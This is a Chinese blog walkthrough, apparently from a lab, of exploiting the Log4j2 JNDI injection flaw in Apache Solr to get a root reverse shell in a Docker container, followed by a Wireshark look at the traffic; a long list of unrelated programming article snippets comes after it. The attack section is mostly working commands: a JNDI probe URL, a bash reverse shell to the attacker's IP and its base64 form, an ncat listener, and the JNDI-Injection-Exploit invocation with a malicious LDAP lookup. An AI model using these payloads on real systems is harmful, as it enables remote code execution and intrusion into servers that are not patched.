当前位置： 首页 > article >正文

复现log4j2的jndi注入成功反弹shell

article 2026/4/14 14:23:08

在Apache Solr 中复现log4j2的jndi注入漏洞，获得docker容器的root权限，实验五步走：

  1. 启动容器
  2. 访问web页面
  3. 漏洞探测
  4. 反弹shell载荷
  5. wireshark抓取log4j反弹shell流量

ailx10

1956 次咨询

4.9

网络安全优秀回答者

互联网行业 安全攻防员

去咨询

一、启动容器

二、访问web页面

IP地址192.168.0.105是我的ubuntu18.04虚拟机，这里作为靶机

三、漏洞探测

IP地址192.168.0.105是我的ubuntu18.04虚拟机，这里作为靶机

http://192.168.0.105:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.ueg2ky.dnslog.cn}

四、反弹shell载荷

IP地址192.168.0.104 是我的mac电脑

bash -i >& /dev/tcp/192.168.0.104/6666 0>&1

对上面的命令进行bash64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzY2NjYgMD4mMQ==

先在mac上进行监听

ncat -l 6666

在mac上运行漏洞利用命令[1]

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.104

用上面的命令结果访问靶机

http://192.168.0.105:8983/solr/admin/cores?action=${jndi:ldap://192.168.0.104:1389/9gozs8}

在mac上成功接收到靶机反弹的shell

五、wireshark抓取log4j反弹shell流量

我们可以清楚的看到攻击者访问了靶机有漏洞的页面

紧接着看到靶机主动访问了攻击者的IP地址，攻击者给靶机响应了200 OK状态码

反弹shell后，我们敲击一个ls，获得流量如下，都是TCP连接

请求流量

响应流量

参考

  1. ^JNDI-Injection-Exploit Releases · welk1n/JNDI-Injection-Exploit · GitHub

相关文章：

复现log4j2的jndi注入成功反弹shell

在Apache Solr 中复现log4j2的jndi注入漏洞，获得docker容器的root权限，实验五步走： 启动容器访问web页面漏洞探测反弹shell载荷wireshark抓取log4j反弹shell流量 ailx10 1956 次咨询 4.9 网络安全优秀回答者 互联网行业 安全攻防员 去咨…...

编程日记 2026/4/13 2:30:07

Cursor实战：Web版背单词应用开发演示

Cursor实战：Web版背单词应用开发演示 需求分析自行编写需求文档借助Cursor生成需求文档 前端UI设计后端开发项目结构环境参数数据库设计安装Python依赖运行应用 前端代码修改测试前端界面 测试数据生成功能测试Bug修复 总结 在上一篇《Cursor AI编程助手不完全指南》…...

编程日记 2026/4/14 3:26:00

win10系统上的虚拟机安装麒麟V10系统提示找不到操作系统

目录预览 一、问题描述二、原因分析三、解决方案四、参考链接 一、问题描述 win10系统上的虚拟机安装麒麟V10系统提示找不到操作系统，报错：Operating System not found 二、原因分析 国产系统，需要注意的点： 需要看你的系统类…...

编程日记 2026/4/12 10:40:27

python subprocess库

subprocess subprocess 是 Python 标准库中的一个模块，用于创建和管理子进程。它允许你在 Python 程序中执行外部命令、调用其他程序，并与这些程序进行交互。subprocess 模块提供了丰富的功能，可以替代一些旧的模块和函数，如 os.…...

编程日记 2026/3/3 12:11:51

敏捷项目管理：适应快速变化的项目环境

一、敏捷项目管理的核心逻辑 敏捷项目管理是一种以迭代开发、快速响应变化、持续交付价值为核心的方法论，尤其适合需求频繁变更或市场环境不确定的项目。它的核心逻辑是**“小步快跑”**——将大目标拆解为多个短期可交付的成果，通过持续反馈和调整&…...

编程日记 2025/12/2 3:11:02

矿用机车移动逆变电源设计（论文+源码）

1总体方案设计 本课题为矿用机车移动逆变电源的硬件电路设计，其整个架构如图2.1所示包括了:380V三相交流电，逆变电路，高频变压器，24V直流输出，控制电路，驱动电路，保护电路等等。 在工作原理上&…...

编程日记 2026/4/13 23:02:26

前七章综合练习

一，拓扑图 二，实验要求 不限 三，实验步骤 第一步，搭建拓扑图 如上 注意： 第二步，配置IP trust： client1 client2 fw untrusrt-1： fw r3 电信DNS 百度web-1 untrust-2&#xf…...

编程日记 2026/4/8 13:12:21

二级指针略解【C语言】

以int** a为例 1.二级指针的声明 a 是一个指向 int*（指向整型的指针）的指针，即二级指针。 通俗的讲，a是一个指向指针的指针，对a解引用会是一个指针。 它可以用于操作动态分配的二维数组、指针数组或需要间接修改指针…...

编程日记 2026/4/12 15:11:22

环境变量2

目录 环境变量PATH 如何改变PATH 我们今天继续来学习环境变量2！！！ 环境变量PATH PATH的作用是知道命令的搜索路径，我们都知道Linux上的命令行指令，ll，pwd什么的为什么我们写出来系统就知道是什么并且运…...

编程日记 2026/4/8 10:59:39

GoFound 与 MySQL 集成优化方案

GoFound 与 MySQL 集成优化方案 1. 明确需求 文章信息存储在 MySQL 数据库中。使用 GoFound 实现全文搜索功能。搜索时，先从 GoFound 中获取匹配的文章 ID，然后从 MySQL 中查询完整的文章信息。 2. 优化思路 数据同步：将 MySQL 中的文章数…...

编程日记 2025/11/4 6:26:14

数据录入与处理岗位

随着人工智能技术的迅猛发展，DeepSeek等先进AI系统正在逐步渗透到各个行业，工控行业也不例外。工控行业作为工业自动化的核心领域，涵盖了从生产线控制到设备维护的多个环节。然而，随着AI技术的不断进步，一些传统岗位正…...

编程日记 2026/4/13 14:45:51

cs106x-lecture11(Autumn 2017)-SPL实现

打卡cs106x(Autumn 2017)-lecture11 (以下皆使用SPL实现，非STL库，后续课程结束会使用STL实现) 1、diceRolls Write a recursive function named diceRolls accepts an integer representing a number of 6-sided dice to roll, and output all possibl…...

编程日记 2026/3/25 2:27:18

基于ffmpeg+openGL ES实现的视频编辑工具（一）

在深入钻研音视频编辑开发这片技术海洋时，相信不少开发者都和我有同样的感受：网络上关于音视频编辑工具实现的资料繁多，理论阐释细致入微，代码片段也随处可见。然而，一个显著的缺憾是，缺乏一个完整成型的 A…...

编程日记 2026/4/9 6:51:04

全面掌握Python时间处理

全面掌握Python时间处理 flyfish datetime: 最适合处理日期和时间，支持创建时间对象、格式化时间、计算时间差等。time: 提供了获取时间戳、将时间戳转换为本地时间、暂停程序执行等功能。timeit: 主要用于性能测试，帮助开发者了解某段代码的执行效率。…...

编程日记 2025/6/19 5:44:31

LLM 推理中推理-时间计算技巧

25年2月来自香港科技大学广州分校的论文“Bag of Tricks for Inference-time Computation of LLM Reasoning”。 随着大语言模型 (LLM) 的进步，解决复杂的推理任务越来越受到关注。推理-时间计算方法（例如 Best-of-N、波束搜索等）特别有价值…...

编程日记 2026/4/14 9:29:21

matplotlib 如何是的横坐标纵向显示

在 ​​matplotlib​​​ 中，若要让横坐标标签纵向显示，可以使用 ​​plt.xticks()​​​ 或 ​​ax.set_xticklabels()​​ 方法结合旋转参数来实现。 方法一：使用 ​​plt.xticks()​​ 当你使用 ​​matplotlib​​​ 的 pyplot 接口&am…...

编程日记 2026/4/13 23:37:32

Go日期时间处理工具Carbon

**注意：**本文大部分内容摘抄自-https://github.com/dromara/carbon/blob/master/README.cn.md使用文档 一、简介 一个轻量级的、易于使用的、语义智能的日期时间处理库，支持链式调用，已被 awesome-go 收录，现已经捐赠给了 drom…...

编程日记 2025/8/27 17:04:46

【Spring生命周期】Bean元信息配置阶段

引言 本系列将详细讲解Spring生命周期的13个阶段，从源码角度帮助我们更好的理解Spring框架和bean生命周期全流程 Bean信息定义4种方式 API的方式Xml文件方式properties文件的方式注解的方式 在 Spring 框架中，Bean 元信息配置阶段是整个 Bean 生命周…...

编程日记 2026/4/5 19:49:57

linux有名管道的文件描述符3和4

在使用有名管道（Named Pipe，FIFO）时，返回的文件描述符 3 和 4 是通过 open() 系统调用打开有名管道后分配的文件描述符。文件描述符是进程用来访问打开的文件或管道的整数标识符。 1. 文件描述符的分配规则 文件描述符是一个非负整…...

编程日记 2026/4/9 3:01:12

Mobaxterm: Local port forwarding Remote port forwarding

文章目录 Remote port forwardingLocal port forwardingAppendix: Deploy clash in docker Remote port forwarding If you want to share the proxy on your local machine with the remote server, use Remote port forwarding. Consider this scenario: There is no proxy…...

编程日记 2026/4/14 3:31:04

DeepSeek模型快速部署教程-搭建自己的DeepSeek

前言：在人工智能技术飞速发展的今天，深度学习模型已成为推动各行各业智能化转型的核心驱动力。DeepSeek 作为一款领先的 AI 模型，凭借其高效的性能和灵活的部署方式，受到了广泛关注。无论是自然语言处理、图像识别，还是…...

编程日记 2026/4/13 14:11:28

分布式之分布式ID

目录 需求 1. 全局唯一性 2. 高性能 3. 高可用性 4. 可扩展性 5. 有序性 6. 时间相关 7. 长度适中 8. 安全性 9. 分布式一致性 10. 易于集成 常见解决方案 选择依据 数据库号段模式 核心概念 工作流程 优点 缺点 实现示例 优化策略 适用场景 Snowflake雪…...

编程日记 2025/6/13 19:06:45

2025/2/19机试准备

1.%c不忽略空格&#xff08; &#xff09; 2.启示 #include <stdio.h> #include <string.h> int main(){char str[100]{0};int x,y;int n1,n2,n3;int i;while(scanf("%s",str)!EOF){istrlen(str);if(i%30){//12446-2n1i/3;n3i/3;n2i/32;}else if(i%31){…...

编程日记 2025/11/17 1:37:34

用友U8 固定资产-批量变动单

前提&#xff1a;没有结账&#xff0c;没有结账&#xff0c;没有结账 如果已经结账&#xff0c;可反结账 1.需要先计提折旧&#xff0c;操作路径是点击【固定资产】-【计提折旧】-计提本月折旧 2.进行资产减少操作&#xff0c;点击【资产处置】-【资产减少】&#xff0c;如…...

编程日记 2026/4/13 13:55:40

基于golang语言开发publicChain项目实战教程

概述&#xff1a;简易公链 任何公链只要涉及转账都会用到UTXO,UTXO并不是面向对象的思维&#xff0c;通过计算如何去打包多笔交易&#xff0c;各种加密算法&#xff0c;钱包 如何生成地址&#xff0c;节点A,节点B,节点C&#xff0c;节点分全节点&#xff0c;钱包节点&#xff…...

编程日记 2026/3/20 7:50:38

Jtti.cc：CentOS下PyTorch运行出错怎么办

在CentOS上运行PyTorch时遇到错误&#xff0c;可以按照以下步骤进行排查和解决&#xff1a; 1. 检查Python版本 Python版本&#xff1a;确保Python版本符合PyTorch要求(如3.6-3.9)。 虚拟环境&#xff1a;建议使用虚拟环境隔离依赖。 python3 -m venv myenv source myenv/bin/a…...

编程日记 2025/11/29 18:06:02

基于微信小程序的电影院订票选座系统的设计与实现，SSM+Vue+毕业论文+开题报告+任务书+指导搭建视频

本系统包含用户、管理员两个角色。 用户角色&#xff1a;注册登录、查看首页电影信息推荐、查看电影详情并进行收藏预定、查看电影资讯、在线客服、管理个人订单等。 管理员角色&#xff1a;登录后台、管理电影类型、管理放映厅信息、管理电影信息、管理用户信息、管理订单等。…...

编程日记 2026/4/13 16:53:44

自然语言处理NLP 02统计语言模型

目录 jieba中文分词 TF-IDF TF&#xff08;词频&#xff0c;Term Frequency&#xff09; IDF&#xff08;逆文档频率&#xff0c;Inverse Document Frequency&#xff09; 总结 案例&#xff1a;从文本数据中提取并分析关键词的重要性 jieba中文分词 jieba 是一个强大的…...

编程日记 2026/4/13 0:43:04

【环降噪实验】详细介绍

环降噪实验&#xff08;Circumferential Noise Cancellation Experiment&#xff09;通常指在工程领域中&#xff0c;特别是在噪声控制领域&#xff0c;通过模拟或实际环形噪声传播的环境来验证和测试不同噪声消除技术的效果。其主要目标是在特定区域或环境中&#xff0c;利用主…...

编程日记 2026/4/10 7:41:45

Qt开发④Qt常用控件_上_QWdget属性+按钮类控件

目录 1. 控件概述和发展 2. QWidget 核心属性 2.1 核心属性概览 2.2 enabled 是否可用 2.3 geometry 位置尺寸 2.4 windowTitle 标题 2.5 windowIcon 图标 2.6 windowOpacity 不透明度 2.7 cursor 光标 2.8 font 字体 2.9 toolTip 鼠标悬停提示 2.10 focusPolicy 焦…...

编程日记 2026/4/9 5:37:14